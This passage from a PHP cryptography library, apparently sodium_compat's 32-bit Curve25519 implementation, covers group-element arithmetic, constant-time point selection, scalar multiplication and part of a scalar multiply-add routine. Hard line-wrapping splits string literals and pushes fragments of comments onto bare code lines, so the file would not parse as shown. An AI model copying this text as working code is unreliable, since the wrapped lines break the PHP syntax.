        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     */
    public static function
ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     * @psalm-suppress MixedReturnStatement
     */
    public static function equal($b, $c)
    {
        return (int) ((($b ^ $c) - 1 & 0xffffffff) >> 31);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string|int $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        /** @var string $char */
        /** @var int $x */
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 31);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function cmov(
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an
integer.');
        }
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedArgument
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new
ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]),
                               
ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9])
                            )
                        )
                    );
                }
            }
        }
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an
integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0,
31]');
        }

        $bnegative = self::negative($b);
        /** @var int $babs */
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, -$bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function
ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int,
ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        static $Bi = array();
        /** @var array<int,
ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new
ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]),
                           
ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9])
                        )
                    )
                );
            }
        }

        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }
        /** @var array<int,
ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[1],&u);
        # ge_add(&t,&A2,&Ai[1]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[2],&u);
        # ge_add(&t,&A2,&Ai[2]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[3],&u);
        # ge_add(&t,&A2,&Ai[3]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[4],&u);
        # ge_add(&t,&A2,&Ai[4]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[5],&u);
        # ge_add(&t,&A2,&Ai[5]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[6],&u);
        # ge_add(&t,&A2,&Ai[6]); ge_p1p1_to_p3(&u,&t);
ge_p3_to_cached(&Ai[7],&u);
        for ($i = 0; $i < 7; ++$i) {
            $t = self::ge_add($A2, $Ai[$i]);
            $u = self::ge_p1p1_to_p3($t);
            $Ai[$i + 1] = self::ge_p3_to_cached($u);
        }

        # ge_p2_0(r);
        $r = self::ge_p2_0();

        # for (i = 255;i >= 0;--i) {
        #     if (aslide[i] || bslide[i]) break;
        # }
        $i = 255;
        for (; $i >= 0; --$i) {
            if ($aslide[$i] || $bslide[$i]) {
                break;
            }
        }

        # for (;i >= 0;--i) {
        for (; $i >= 0; --$i) {
            # ge_p2_dbl(&t,r);
            $t = self::ge_p2_dbl($r);

            # if (aslide[i] > 0) {
            if ($aslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_add(&t,&u,&Ai[aslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_add(
                    $u,
                    $Ai[(int) floor($aslide[$i] / 2)]
                );
                # } else if (aslide[i] < 0) {
            } elseif ($aslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_sub(&t,&u,&Ai[(-aslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);
                $t = self::ge_sub(
                    $u,
                    $Ai[(int) floor(-$aslide[$i] / 2)]
                );
            }
            /** @var array<int,
ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */

            # if (bslide[i] > 0) {
            if ($bslide[$i] > 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_madd(&t,&u,&Bi[bslide[i]/2]);
                $u = self::ge_p1p1_to_p3($t);
                /** @var int $index */
                $index = (int) floor($bslide[$i] / 2);
                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
$thisB */
                $thisB = $Bi[$index];
                $t = self::ge_madd($t, $u, $thisB);
                # } else if (bslide[i] < 0) {
            } elseif ($bslide[$i] < 0) {
                # ge_p1p1_to_p3(&u,&t);
                # ge_msub(&t,&u,&Bi[(-bslide[i])/2]);
                $u = self::ge_p1p1_to_p3($t);

                /** @var int $index */
                $index = (int) floor(-$bslide[$i] / 2);

                /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
$thisB */
                $thisB = $Bi[$index];
                $t = self::ge_msub($t, $u, $thisB);
            }
            # ge_p1p1_to_p2(r,&t);
            $r = self::ge_p1p1_to_p2($t);
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @psalm-suppress MixedAssignment
     * @psalm-suppress MixedOperand
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_scalarmult_base($a)
    {
        /** @var array<int, int> $e */
        $e = array();
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        for ($i = 0; $i < 32; ++$i) {
            /** @var int $dbl */
            $dbl = (int) $i << 1;
            $e[$dbl] = (int) self::chrToInt($a[$i]) & 15;
            $e[$dbl + 1] = (int) (self::chrToInt($a[$i]) >> 4) &
15;
        }

        /** @var int $carry */
        $carry = 0;
        for ($i = 0; $i < 63; ++$i) {
            $e[$i] += $carry;
            /** @var int $carry */
            $carry = $e[$i] + 8;
            /** @var int $carry */
            $carry >>= 4;
            $e[$i] -= $carry << 4;
        }

        /** @var array<int, int> $e */
        $e[63] += (int) $carry;

        $h = self::ge_p3_0();

        for ($i = 1; $i < 64; $i += 2) {
            $t = self::ge_select((int) floor($i / 2), (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }

        $r = self::ge_p3_dbl($h);

        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);
        $s = self::ge_p1p1_to_p2($r);
        $r = self::ge_p2_dbl($s);

        $h = self::ge_p1p1_to_p3($r);

        for ($i = 0; $i < 64; $i += 2) {
            $t = self::ge_select($i >> 1, (int) $e[$i]);
            $r = self::ge_madd($r, $h, $t);
            $h = self::ge_p1p1_to_p3($r);
        }
        return $h;
    }

    /**
     * Calculates (ab + c) mod l
     * where l = 2^252 + 27742317777372353535851937790883648493
     *
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param string $b
     * @param string $c
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function sc_muladd($a, $b, $c)
    {
        $a0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($a, 0, 3)));
        $a1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($a, 2, 4)) >> 5));
        $a2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($a, 5, 3)) >> 2));
        $a3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($a, 7, 4)) >> 7));
        $a4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($a, 10, 4)) >> 4));
        $a5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($a, 13, 3)) >> 1));
        $a6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($a, 15, 4)) >> 6));
        $a7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($a, 18, 3)) >> 3));
        $a8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($a, 21, 3)));
        $a9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($a, 23, 4)) >> 5));
        $a10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($a, 26, 3)) >> 2));
        $a11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff &
(self::load_4(self::substr($a, 28, 4)) >> 7));
        $b0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($b, 0, 3)));
        $b1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($b, 2, 4)) >> 5));
        $b2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($b, 5, 3)) >> 2));
        $b3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($b, 7, 4)) >> 7));
        $b4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($b, 10, 4)) >> 4));
        $b5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($b, 13, 3)) >> 1));
        $b6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($b, 15, 4)) >> 6));
        $b7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($b, 18, 3)) >> 3));
        $b8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($b, 21, 3)));
        $b9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($b, 23, 4)) >> 5));
        $b10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($b, 26, 3)) >> 2));
        $b11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff &
(self::load_4(self::substr($b, 28, 4)) >> 7));
        $c0 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($c, 0, 3)));
        $c1 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($c, 2, 4)) >> 5));
        $c2 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($c, 5, 3)) >> 2));
        $c3 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($c, 7, 4)) >> 7));
        $c4 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($c, 10, 4)) >> 4));
        $c5 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($c, 13, 3)) >> 1));
        $c6 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($c, 15, 4)) >> 6));
        $c7 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($c, 18, 3)) >> 3));
        $c8 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
self::load_3(self::substr($c, 21, 3)));
        $c9 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_4(self::substr($c, 23, 4)) >> 5));
        $c10 = ParagonIE_Sodium_Core32_Int64::fromInt(2097151 &
(self::load_3(self::substr($c, 26, 3)) >> 2));
        $c11 = ParagonIE_Sodium_Core32_Int64::fromInt(0x1fffffff &
(self::load_4(self::substr($c, 28, 4)) >> 7));

        /* Can't really avoid the pyramid here: */
        /**
         * @var ParagonIE_Sodium_Core32_Int64 $s0
         * @var ParagonIE_Sodium_Core32_Int64 $s1
         * @var ParagonIE_Sodium_Core32_Int64 $s2
         * @var ParagonIE_Sodium_Core32_Int64 $s3
         * @var ParagonIE_Sodium_Core32_Int64 $s4
         * @var ParagonIE_Sodium_Core32_Int64 $s5
         * @var ParagonIE_Sodium_Core32_Int64 $s6
         * @var ParagonIE_Sodium_Core32_Int64 $s7
         * @var ParagonIE_Sodium_Core32_Int64 $s8
         * @var ParagonIE_Sodium_Core32_Int64 $s9
         * @var ParagonIE_Sodium_Core32_Int64 $s10
         * @var ParagonIE_Sodium_Core32_Int64 $s11
         * @var ParagonIE_Sodium_Core32_Int64 $s12
         * @var ParagonIE_Sodium_Core32_Int64 $s13
         * @var ParagonIE_Sodium_Core32_Int64 $s14
         * @var ParagonIE_Sodium_Core32_Int64 $s15
         * @var ParagonIE_Sodium_Core32_Int64 $s16
         * @var ParagonIE_Sodium_Core32_Int64 $s17
         * @var ParagonIE_Sodium_Core32_Int64 $s18
         * @var ParagonIE_Sodium_Core32_Int64 $s19
         * @var ParagonIE_Sodium_Core32_Int64 $s20
         * @var ParagonIE_Sodium_Core32_Int64 $s21
         * @var ParagonIE_Sodium_Core32_Int64 $s22
         * @var ParagonIE_Sodium_Core32_Int64 $s23
         */

        $s0 = $c0->addInt64($a0->mulInt64($b0, 24));
        $s1 = $c1->addInt64($a0->mulInt64($b1,
24))->addInt64($a1->mulInt64($b0, 24));
        $s2 = $c2->addInt64($a0->mulInt64($b2,
24))->addInt64($a1->mulInt64($b1,
24))->addInt64($a2->mulInt64($b0, 24));
        $s3 = $c3->addInt64($a0->mulInt64($b3,
24))->addInt64($a1->mulInt64($b2,
24))->addInt64($a2->mulInt64($b1, 24))
                 ->addInt64($a3->mulInt64($b0, 24));
        $s4 = $c4->addInt64($a0->mulInt64($b4,
